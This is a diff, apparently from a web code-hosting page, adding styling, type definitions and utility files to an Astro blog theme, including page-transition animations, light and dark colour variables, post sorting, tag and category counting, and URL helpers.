&.scrollbar-auto {
|
||||
--os-handle-bg: var(--scrollbar-bg);
|
||||
--os-handle-bg-hover: var(--scrollbar-bg-hover);
|
||||
--os-handle-bg-active: var(--scrollbar-bg-active);
|
||||
}
|
||||
&.scrollbar-dark {
|
||||
--os-handle-bg: var(--scrollbar-bg-dark);
|
||||
--os-handle-bg-hover: var(--scrollbar-bg-hover-dark);
|
||||
--os-handle-bg-active: var(--scrollbar-bg-active-dark);
|
||||
}
|
||||
&.scrollbar-light {
|
||||
--os-handle-bg: var(--scrollbar-bg-light);
|
||||
--os-handle-bg-hover: var(--scrollbar-bg-hover-light);
|
||||
--os-handle-bg-active: var(--scrollbar-bg-active-light);
|
||||
}
|
||||
}
|
||||
53
src/styles/transition.css
Normal file
53
src/styles/transition.css
Normal file
@ -0,0 +1,53 @@
|
||||
/* Page transition animations with Swup */
|
||||
html.is-changing .transition-swup-fade {
|
||||
@apply transition-all duration-200
|
||||
}
|
||||
html.is-animating .transition-swup-fade {
|
||||
@apply opacity-0 translate-y-4
|
||||
}
|
||||
|
||||
/* Fade-in animations for components */
|
||||
@keyframes fade-in-up {
|
||||
0% {
|
||||
transform: translateY(2rem);
|
||||
opacity: 0;
|
||||
}
|
||||
100% {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Main components */
|
||||
.onload-animation {
|
||||
opacity: 0;
|
||||
animation: 300ms fade-in-up;
|
||||
animation-fill-mode: forwards;
|
||||
}
|
||||
#navbar {
|
||||
animation-delay: 0ms
|
||||
}
|
||||
#sidebar {
|
||||
animation-delay: 100ms
|
||||
}
|
||||
#swup-container {
|
||||
outline: none;
|
||||
}
|
||||
#content-wrapper {
|
||||
animation-delay: var(--content-delay);
|
||||
}
|
||||
.footer {
|
||||
animation-delay: 250ms;
|
||||
}
|
||||
#banner-credit {
|
||||
animation-delay: 400ms;
|
||||
}
|
||||
|
||||
/* Post content */
|
||||
#post-container :nth-child(1) { animation-delay: calc(var(--content-delay) + 0ms) }
|
||||
#post-container :nth-child(2) { animation-delay: calc(var(--content-delay) + 50ms) }
|
||||
#post-container :nth-child(3) { animation-delay: calc(var(--content-delay) + 100ms) }
|
||||
#post-container :nth-child(4) { animation-delay: calc(var(--content-delay) + 175ms) }
|
||||
#post-container :nth-child(5) { animation-delay: calc(var(--content-delay) + 250ms) }
|
||||
#post-container :nth-child(6) { animation-delay: calc(var(--content-delay) + 325ms) }
|
||||
|
||||
98
src/styles/variables.styl
Normal file
98
src/styles/variables.styl
Normal file
@ -0,0 +1,98 @@
|
||||
/* utils */
|
||||
white(a)
|
||||
rgba(255, 255, 255, a)
|
||||
|
||||
black(a)
|
||||
rgba(0, 0, 0, a)
|
||||
|
||||
rainbow-light = linear-gradient(to right, oklch(0.80 0.10 0), oklch(0.80 0.10 30), oklch(0.80 0.10 60), oklch(0.80 0.10 90), oklch(0.80 0.10 120), oklch(0.80 0.10 150), oklch(0.80 0.10 180), oklch(0.80 0.10 210), oklch(0.80 0.10 240), oklch(0.80 0.10 270), oklch(0.80 0.10 300), oklch(0.80 0.10 330), oklch(0.80 0.10 360))
|
||||
rainbow-dark = linear-gradient(to right, oklch(0.70 0.10 0), oklch(0.70 0.10 30), oklch(0.70 0.10 60), oklch(0.70 0.10 90), oklch(0.70 0.10 120), oklch(0.70 0.10 150), oklch(0.70 0.10 180), oklch(0.70 0.10 210), oklch(0.70 0.10 240), oklch(0.70 0.10 270), oklch(0.70 0.10 300), oklch(0.70 0.10 330), oklch(0.70 0.10 360))
|
||||
|
||||
:root
|
||||
--radius-large 1rem
|
||||
--content-delay 150ms
|
||||
|
||||
/* An util to define variables that vary with light and dark mode */
|
||||
define(vars)
|
||||
:root
|
||||
for key, value in vars
|
||||
{key}: value[0]
|
||||
:root.dark
|
||||
for key, value in vars
|
||||
if length(value) > 1
|
||||
{key}: value[1]
|
||||
|
||||
define({
|
||||
--primary: oklch(0.70 0.14 var(--hue)) oklch(0.75 0.14 var(--hue))
|
||||
--page-bg: oklch(0.95 0.01 var(--hue)) oklch(0.16 0.014 var(--hue))
|
||||
--card-bg: white oklch(0.23 0.015 var(--hue))
|
||||
|
||||
--btn-content: oklch(0.55 0.12 var(--hue)) oklch(0.75 0.1 var(--hue))
|
||||
|
||||
--btn-regular-bg: oklch(0.95 0.025 var(--hue)) oklch(0.33 0.035 var(--hue))
|
||||
--btn-regular-bg-hover: oklch(0.9 0.05 var(--hue)) oklch(0.38 0.04 var(--hue))
|
||||
--btn-regular-bg-active: oklch(0.85 0.08 var(--hue)) oklch(0.43 0.045 var(--hue))
|
||||
|
||||
--btn-plain-bg-hover: oklch(0.95 0.025 var(--hue)) oklch(0.30 0.035 var(--hue))
|
||||
--btn-plain-bg-active: oklch(0.98 0.01 var(--hue)) oklch(0.27 0.025 var(--hue))
|
||||
|
||||
--btn-card-bg-hover: oklch(0.98 0.005 var(--hue)) oklch(0.3 0.03 var(--hue))
|
||||
--btn-card-bg-active: oklch(0.9 0.03 var(--hue)) oklch(0.35 0.035 var(--hue))
|
||||
|
||||
--enter-btn-bg: var(--btn-regular-bg)
|
||||
--enter-btn-bg-hover: var(--btn-regular-bg-hover)
|
||||
--enter-btn-bg-active: var(--btn-regular-bg-active)
|
||||
|
||||
--deep-text: oklch(0.25 0.02 var(--hue))
|
||||
|
||||
--title-active: oklch(0.6 0.1 var(--hue))
|
||||
|
||||
--line-divider: black(0.08) white(0.08)
|
||||
|
||||
--line-color: black(0.1) white(0.1)
|
||||
--meta-divider: black(0.2) white(0.2)
|
||||
|
||||
--inline-code-bg: var(--btn-regular-bg)
|
||||
--inline-code-color: var(--btn-content)
|
||||
--selection-bg: oklch(0.90 0.05 var(--hue)) oklch(0.40 0.08 var(--hue))
|
||||
--codeblock-selection: oklch(0.40 0.08 var(--hue))
|
||||
--codeblock-bg: oklch(0.17 0.015 var(--hue)) oklch(0.17 0.015 var(--hue))
|
||||
--codeblock-topbar-bg: oklch(0.3 0.02 var(--hue)) oklch(0.12 0.015 var(--hue))
|
||||
|
||||
--license-block-bg: black(0.03) var(--codeblock-bg)
|
||||
|
||||
--link-underline: oklch(0.93 0.04 var(--hue)) oklch(0.40 0.08 var(--hue))
|
||||
--link-hover: oklch(0.95 0.025 var(--hue)) oklch(0.40 0.08 var(--hue))
|
||||
--link-active: oklch(0.90 0.05 var(--hue)) oklch(0.35 0.07 var(--hue))
|
||||
|
||||
--float-panel-bg: white oklch(0.19 0.015 var(--hue))
|
||||
|
||||
--scrollbar-bg-light: black(0.4)
|
||||
--scrollbar-bg-hover-light: black(0.5)
|
||||
--scrollbar-bg-active-light: black(0.6)
|
||||
|
||||
--scrollbar-bg-dark: white(0.4)
|
||||
--scrollbar-bg-hover-dark: white(0.5)
|
||||
--scrollbar-bg-active-dark: white(0.6)
|
||||
|
||||
--scrollbar-bg: var(--scrollbar-bg-light) var(--scrollbar-bg-dark)
|
||||
--scrollbar-bg-hover: var(--scrollbar-bg-hover-light) var(--scrollbar-bg-hover-dark)
|
||||
--scrollbar-bg-active: var(--scrollbar-bg-active-light) var(--scrollbar-bg-active-dark)
|
||||
|
||||
--color-selection-bar: rainbow-light rainbow-dark
|
||||
|
||||
--display-light-icon: 1 0
|
||||
--display-dark-icon: 0 1
|
||||
|
||||
--admonitions-color-tip: oklch(0.7 0.14 180) oklch(0.75 0.14 180)
|
||||
--admonitions-color-note: oklch(0.7 0.14 250) oklch(0.75 0.14 250)
|
||||
--admonitions-color-important: oklch(0.7 0.14 310) oklch(0.75 0.14 310)
|
||||
--admonitions-color-warning: oklch(0.7 0.14 60) oklch(0.75 0.14 60)
|
||||
--admonitions-color-caution: oklch(0.6 0.2 25) oklch(0.65 0.2 25)
|
||||
|
||||
--toc-badge-bg: oklch(0.89 0.050 var(--hue)) var(--btn-regular-bg)
|
||||
--toc-btn-hover: oklch(0.926 0.015 var(--hue)) oklch(0.22 0.02 var(--hue))
|
||||
--toc-btn-active: oklch(0.90 0.015 var(--hue)) oklch(0.25 0.02 var(--hue))
|
||||
--toc-width: calc((100vw - var(--page-width)) / 2 - 1rem)
|
||||
--toc-item-active: oklch(0.70 0.13 var(--hue)) oklch(0.35 0.07 var(--hue))
|
||||
})
|
||||
102
src/types/config.ts
Normal file
102
src/types/config.ts
Normal file
@ -0,0 +1,102 @@
|
||||
import type { AUTO_MODE, DARK_MODE, LIGHT_MODE } from "@constants/constants";
|
||||
|
||||
export type SiteConfig = {
|
||||
title: string;
|
||||
subtitle: string;
|
||||
|
||||
lang:
|
||||
| "en"
|
||||
| "zh_CN"
|
||||
| "zh_TW"
|
||||
| "ja"
|
||||
| "ko"
|
||||
| "es"
|
||||
| "th"
|
||||
| "vi"
|
||||
| "tr"
|
||||
| "id";
|
||||
|
||||
themeColor: {
|
||||
hue: number;
|
||||
fixed: boolean;
|
||||
};
|
||||
banner: {
|
||||
enable: boolean;
|
||||
src: string;
|
||||
position?: "top" | "center" | "bottom";
|
||||
credit: {
|
||||
enable: boolean;
|
||||
text: string;
|
||||
url?: string;
|
||||
};
|
||||
};
|
||||
toc: {
|
||||
enable: boolean;
|
||||
depth: 1 | 2 | 3;
|
||||
};
|
||||
|
||||
favicon: Favicon[];
|
||||
};
|
||||
|
||||
export type Favicon = {
|
||||
src: string;
|
||||
theme?: "light" | "dark";
|
||||
sizes?: string;
|
||||
};
|
||||
|
||||
export enum LinkPreset {
|
||||
Home = 0,
|
||||
Archive = 1,
|
||||
About = 2,
|
||||
}
|
||||
|
||||
export type NavBarLink = {
|
||||
name: string;
|
||||
url: string;
|
||||
external?: boolean;
|
||||
};
|
||||
|
||||
export type NavBarConfig = {
|
||||
links: (NavBarLink | LinkPreset)[];
|
||||
};
|
||||
|
||||
export type ProfileConfig = {
|
||||
avatar?: string;
|
||||
name: string;
|
||||
bio?: string;
|
||||
links: {
|
||||
name: string;
|
||||
url: string;
|
||||
icon: string;
|
||||
}[];
|
||||
};
|
||||
|
||||
export type LicenseConfig = {
|
||||
enable: boolean;
|
||||
name: string;
|
||||
url: string;
|
||||
};
|
||||
|
||||
export type LIGHT_DARK_MODE =
|
||||
| typeof LIGHT_MODE
|
||||
| typeof DARK_MODE
|
||||
| typeof AUTO_MODE;
|
||||
|
||||
export type BlogPostData = {
|
||||
body: string;
|
||||
title: string;
|
||||
published: Date;
|
||||
description: string;
|
||||
tags: string[];
|
||||
draft?: boolean;
|
||||
image?: string;
|
||||
category?: string;
|
||||
prevTitle?: string;
|
||||
prevSlug?: string;
|
||||
nextTitle?: string;
|
||||
nextSlug?: string;
|
||||
};
|
||||
|
||||
export type ExpressiveCodeConfig = {
|
||||
theme: string;
|
||||
};
|
||||
114
src/utils/content-utils.ts
Normal file
114
src/utils/content-utils.ts
Normal file
@ -0,0 +1,114 @@
|
||||
import { type CollectionEntry, getCollection } from "astro:content";
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import { getCategoryUrl } from "@utils/url-utils.ts";
|
||||
|
||||
// // Retrieve posts and sort them by publication date
|
||||
async function getRawSortedPosts() {
|
||||
const allBlogPosts = await getCollection("posts", ({ data }) => {
|
||||
return import.meta.env.PROD ? data.draft !== true : true;
|
||||
});
|
||||
|
||||
const sorted = allBlogPosts.sort((a, b) => {
|
||||
const dateA = new Date(a.data.published);
|
||||
const dateB = new Date(b.data.published);
|
||||
return dateA > dateB ? -1 : 1;
|
||||
});
|
||||
return sorted;
|
||||
}
|
||||
|
||||
export async function getSortedPosts() {
|
||||
const sorted = await getRawSortedPosts();
|
||||
|
||||
for (let i = 1; i < sorted.length; i++) {
|
||||
sorted[i].data.nextSlug = sorted[i - 1].slug;
|
||||
sorted[i].data.nextTitle = sorted[i - 1].data.title;
|
||||
}
|
||||
for (let i = 0; i < sorted.length - 1; i++) {
|
||||
sorted[i].data.prevSlug = sorted[i + 1].slug;
|
||||
sorted[i].data.prevTitle = sorted[i + 1].data.title;
|
||||
}
|
||||
|
||||
return sorted;
|
||||
}
|
||||
export type PostForList = {
|
||||
slug: string;
|
||||
data: CollectionEntry<"posts">["data"];
|
||||
};
|
||||
export async function getSortedPostsList(): Promise<PostForList[]> {
|
||||
const sortedFullPosts = await getRawSortedPosts();
|
||||
|
||||
// delete post.body
|
||||
const sortedPostsList = sortedFullPosts.map((post) => ({
|
||||
slug: post.slug,
|
||||
data: post.data,
|
||||
}));
|
||||
|
||||
return sortedPostsList;
|
||||
}
|
||||
export type Tag = {
|
||||
name: string;
|
||||
count: number;
|
||||
};
|
||||
|
||||
export async function getTagList(): Promise<Tag[]> {
|
||||
const allBlogPosts = await getCollection<"posts">("posts", ({ data }) => {
|
||||
return import.meta.env.PROD ? data.draft !== true : true;
|
||||
});
|
||||
|
||||
const countMap: { [key: string]: number } = {};
|
||||
allBlogPosts.forEach((post: { data: { tags: string[] } }) => {
|
||||
post.data.tags.forEach((tag: string) => {
|
||||
if (!countMap[tag]) countMap[tag] = 0;
|
||||
countMap[tag]++;
|
||||
});
|
||||
});
|
||||
|
||||
// sort tags
|
||||
const keys: string[] = Object.keys(countMap).sort((a, b) => {
|
||||
return a.toLowerCase().localeCompare(b.toLowerCase());
|
||||
});
|
||||
|
||||
return keys.map((key) => ({ name: key, count: countMap[key] }));
|
||||
}
|
||||
|
||||
export type Category = {
|
||||
name: string;
|
||||
count: number;
|
||||
url: string;
|
||||
};
|
||||
|
||||
export async function getCategoryList(): Promise<Category[]> {
|
||||
const allBlogPosts = await getCollection<"posts">("posts", ({ data }) => {
|
||||
return import.meta.env.PROD ? data.draft !== true : true;
|
||||
});
|
||||
const count: { [key: string]: number } = {};
|
||||
allBlogPosts.forEach((post: { data: { category: string | null } }) => {
|
||||
if (!post.data.category) {
|
||||
const ucKey = i18n(I18nKey.uncategorized);
|
||||
count[ucKey] = count[ucKey] ? count[ucKey] + 1 : 1;
|
||||
return;
|
||||
}
|
||||
|
||||
const categoryName =
|
||||
typeof post.data.category === "string"
|
||||
? post.data.category.trim()
|
||||
: String(post.data.category).trim();
|
||||
|
||||
count[categoryName] = count[categoryName] ? count[categoryName] + 1 : 1;
|
||||
});
|
||||
|
||||
const lst = Object.keys(count).sort((a, b) => {
|
||||
return a.toLowerCase().localeCompare(b.toLowerCase());
|
||||
});
|
||||
|
||||
const ret: Category[] = [];
|
||||
for (const c of lst) {
|
||||
ret.push({
|
||||
name: c,
|
||||
count: count[c],
|
||||
url: getCategoryUrl(c),
|
||||
});
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
3
src/utils/date-utils.ts
Normal file
3
src/utils/date-utils.ts
Normal file
@ -0,0 +1,3 @@
|
||||
export function formatDateToYYYYMMDD(date: Date): string {
|
||||
return date.toISOString().substring(0, 10);
|
||||
}
|
||||
61
src/utils/setting-utils.ts
Normal file
61
src/utils/setting-utils.ts
Normal file
@ -0,0 +1,61 @@
|
||||
import {
|
||||
AUTO_MODE,
|
||||
DARK_MODE,
|
||||
DEFAULT_THEME,
|
||||
LIGHT_MODE,
|
||||
} from "@constants/constants.ts";
|
||||
import { expressiveCodeConfig } from "@/config";
|
||||
import type { LIGHT_DARK_MODE } from "@/types/config";
|
||||
|
||||
export function getDefaultHue(): number {
|
||||
const fallback = "250";
|
||||
const configCarrier = document.getElementById("config-carrier");
|
||||
return Number.parseInt(configCarrier?.dataset.hue || fallback, 10);
|
||||
}
|
||||
|
||||
export function getHue(): number {
|
||||
const stored = localStorage.getItem("hue");
|
||||
return stored ? Number.parseInt(stored, 10) : getDefaultHue();
|
||||
}
|
||||
|
||||
export function setHue(hue: number): void {
|
||||
localStorage.setItem("hue", String(hue));
|
||||
const r = document.querySelector(":root") as HTMLElement;
|
||||
if (!r) {
|
||||
return;
|
||||
}
|
||||
r.style.setProperty("--hue", String(hue));
|
||||
}
|
||||
|
||||
export function applyThemeToDocument(theme: LIGHT_DARK_MODE) {
|
||||
switch (theme) {
|
||||
case LIGHT_MODE:
|
||||
document.documentElement.classList.remove("dark");
|
||||
break;
|
||||
case DARK_MODE:
|
||||
document.documentElement.classList.add("dark");
|
||||
break;
|
||||
case AUTO_MODE:
|
||||
if (window.matchMedia("(prefers-color-scheme: dark)").matches) {
|
||||
document.documentElement.classList.add("dark");
|
||||
} else {
|
||||
document.documentElement.classList.remove("dark");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// Set the theme for Expressive Code
|
||||
document.documentElement.setAttribute(
|
||||
"data-theme",
|
||||
expressiveCodeConfig.theme,
|
||||
);
|
||||
}
|
||||
|
||||
export function setTheme(theme: LIGHT_DARK_MODE): void {
|
||||
localStorage.setItem("theme", theme);
|
||||
applyThemeToDocument(theme);
|
||||
}
|
||||
|
||||
export function getStoredTheme(): LIGHT_DARK_MODE {
|
||||
return (localStorage.getItem("theme") as LIGHT_DARK_MODE) || DEFAULT_THEME;
|
||||
}
|
||||
44
src/utils/url-utils.ts
Normal file
44
src/utils/url-utils.ts
Normal file
@ -0,0 +1,44 @@
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
|
||||
export function pathsEqual(path1: string, path2: string) {
|
||||
const normalizedPath1 = path1.replace(/^\/|\/$/g, "").toLowerCase();
|
||||
const normalizedPath2 = path2.replace(/^\/|\/$/g, "").toLowerCase();
|
||||
return normalizedPath1 === normalizedPath2;
|
||||
}
|
||||
|
||||
function joinUrl(...parts: string[]): string {
|
||||
const joined = parts.join("/");
|
||||
return joined.replace(/\/+/g, "/");
|
||||
}
|
||||
|
||||
export function getPostUrlBySlug(slug: string): string {
|
||||
return url(`/posts/${slug}/`);
|
||||
}
|
||||
|
||||
export function getTagUrl(tag: string): string {
|
||||
if (!tag) return url("/archive/");
|
||||
return url(`/archive/?tag=${encodeURIComponent(tag.trim())}`);
|
||||
}
|
||||
|
||||
export function getCategoryUrl(category: string | null): string {
|
||||
if (
|
||||
!category ||
|
||||
category.trim() === "" ||
|
||||
category.trim().toLowerCase() === i18n(I18nKey.uncategorized).toLowerCase()
|
||||
)
|
||||
return url("/archive/?uncategorized=true");
|
||||
return url(`/archive/?category=${encodeURIComponent(category.trim())}`);
|
||||
}
|
||||
|
||||
export function getDir(path: string): string {
|
||||
const lastSlashIndex = path.lastIndexOf("/");
|
||||
if (lastSlashIndex < 0) {
|
||||
return "/";
|
||||
}
|
||||
return path.substring(0, lastSlashIndex + 1);
|
||||
}
|
||||
|
||||
export function url(path: string) {
|
||||
return joinUrl("", import.meta.env.BASE_URL, path);
|
||||
}
|
||||
Reference in New Issue
Block a user